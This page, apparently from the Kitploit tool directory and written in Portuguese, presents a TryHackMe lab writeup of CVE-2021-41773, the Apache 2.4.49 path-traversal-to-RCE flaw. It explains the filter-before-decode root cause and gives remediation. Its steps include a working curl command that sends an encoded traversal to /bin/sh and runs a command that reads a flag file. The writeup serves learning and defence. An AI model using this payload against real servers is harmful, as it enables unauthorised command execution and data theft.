Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-41773 — Análise detalhada da CVE-2021-41773, exploração de path traversal e RCE no Apache, com comandos passo a passo e análise da causa raiz a partir de um ambiente de laboratório do TryHackMe. | Kitploit
Ferramentas/GitHubGitHub/johnwickakash12/cve-2021-41773
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFAprendizado e EducaçãoLabs e Prática
GitHubjohnwickakash12/cve-2021-41773

CVE-2021-41773

Análise detalhada da CVE-2021-41773, exploração de path traversal e RCE no Apache, com comandos passo a passo e análise da causa raiz a partir de um ambiente de laboratório do TryHackMe.

Ver Repositório
3há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-41773 — Exploração de Path Traversal e RCE no Apache

Writeup da sala "Modern Web Stacks" do TryHackMe, focado na exploração da CVE-2021-41773, uma vulnerabilidade de path traversal no Apache HTTP Server 2.4.49 que leva à execução remota de código quando mod_cgi está ativado.

Sumário

ItemDetalhe
VulnerabilidadeCVE-2021-41773 — Path Traversal / RCE no Apache 2.4.49
Serviço alvoServidor Apache HTTP na porta 8080
Versão vulnerávelApache/2.4.49 (Unix)
Causa raizOrdem de normalização quebrada em ap_normalize_path()
ImpactoLeitura arbitrária de arquivos → Execução Remota de Código via mod_cgi
Ferramentas usadascurl

Visão Geral da Vulnerabilidade

O Apache 2.4.49 alterou a forma como ap_normalize_path() processa URLs. O Apache deve bloquear qualquer caminho de requisição contendo ../ antes de chegar ao sistema de arquivos — mas o filtro de traversal é executado antes da decodificação completa da URL.

Isso significa que uma requisição usando a sequência duplamente codificada .%2e/ não é reconhecida como ../ pelo filtro. No entanto, quando o Apache entrega o caminho ao SO, .%2e/ é resolvido para ../, e o filtro de traversal já foi contornado.

Sozinho, isso permite leitura arbitrária de arquivos fora da raiz web. O impacto torna-se crítico quando combinado com mod_cgi: se o caminho de traversal resolve para um executável como /bin/sh dentro de um diretório com CGI ativado (ex.: /cgi-bin/), o Apache o executa como um script CGI e passa o corpo da requisição HTTP POST para sua entrada padrão — resultando em execução remota de comandos.

Passos

1. Confirmar o cabeçalho Server vulnerável

Identificado o cabeçalho de resposta Server do alvo como:

root@kitploit:~
Apache/2.4.49 (Unix)

Esta versão é diretamente afetada pela CVE-2021-41773.

2. Verificar disponibilidade de /cgi-bin/

Requisitou /cgi-bin/ e recebeu uma resposta 403 Forbidden (não 404), indicando que o diretório existe e mod_cgi provavelmente está ativado — uma pré-condição para RCE através desta CVE.

3. Explorar o path traversal para RCE

Usou curl com a flag --path-as-is para enviar a sequência de traversal codificada exatamente como digitada, sem que o curl a normalize no lado do cliente primeiro:

root@kitploit:~
curl -s --path-as-is "http://<TARGET_IP>:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" \
  --data 'echo Content-Type: text/plain; echo; cat /flag.txt'

Por que --path-as-is é necessário: por padrão, o curl normaliza URLs e remove as sequências .%2e/ antes mesmo da requisição ser enviada. --path-as-is diz ao curl para enviar a URL exatamente como escrita, preservando a traversal codificada para que chegue intacta ao servidor.

4. Ler a flag

O payload atravessou de /cgi-bin/ para o sistema de arquivos raiz, executou /bin/sh como um script CGI via corpo POST injetado, e retornou o conteúdo de /flag.txt.

root@kitploit:~
Flag format confirmed: THM{...}

(Flag ocultada conforme as diretrizes do TryHackMe para writeups públicos.)

Principais Conclusões

  • A ordem de correção importa. Um filtro de segurança que é executado antes da decodificação estar completa pode ser trivialmente contornado com truques de codificação — esse padrão exato (filtrar-depois-decodificar vs decodificar-depois-filtrar) aparece em muitos CVEs de traversal, não apenas neste.
  • mod_cgi + path traversal = RCE. A leitura de arquivos sozinha já é ruim; combinada com um diretório executável CGI, torna-se execução de comandos.
  • O comportamento das ferramentas importa durante os testes. A normalização padrão de URL do curl pode silenciosamente "corrigir" o payload exato que você está tentando enviar — --path-as-is (ou uma ferramenta equivalente de requisição bruta) é essencial ao testar bypasses baseados em codificação.

Remediação

  • Atualize o Apache para 2.4.51 ou superior (corrige tanto a CVE-2021-41773 quanto a relacionada CVE-2021-42013).
  • Desative mod_cgi a menos que explicitamente necessário.
  • Aplique o princípio do menor privilégio ao processo do servidor web para limitar o raio de qualquer primitiva de leitura de arquivos.

Referências

  • CVE-2021-41773 — NVD
  • TryHackMe — Sala Modern Web Stacks

Este writeup documenta um ambiente de laboratório (TryHackMe). Nenhum sistema não autorizado foi acessado.

Baixar ferramenta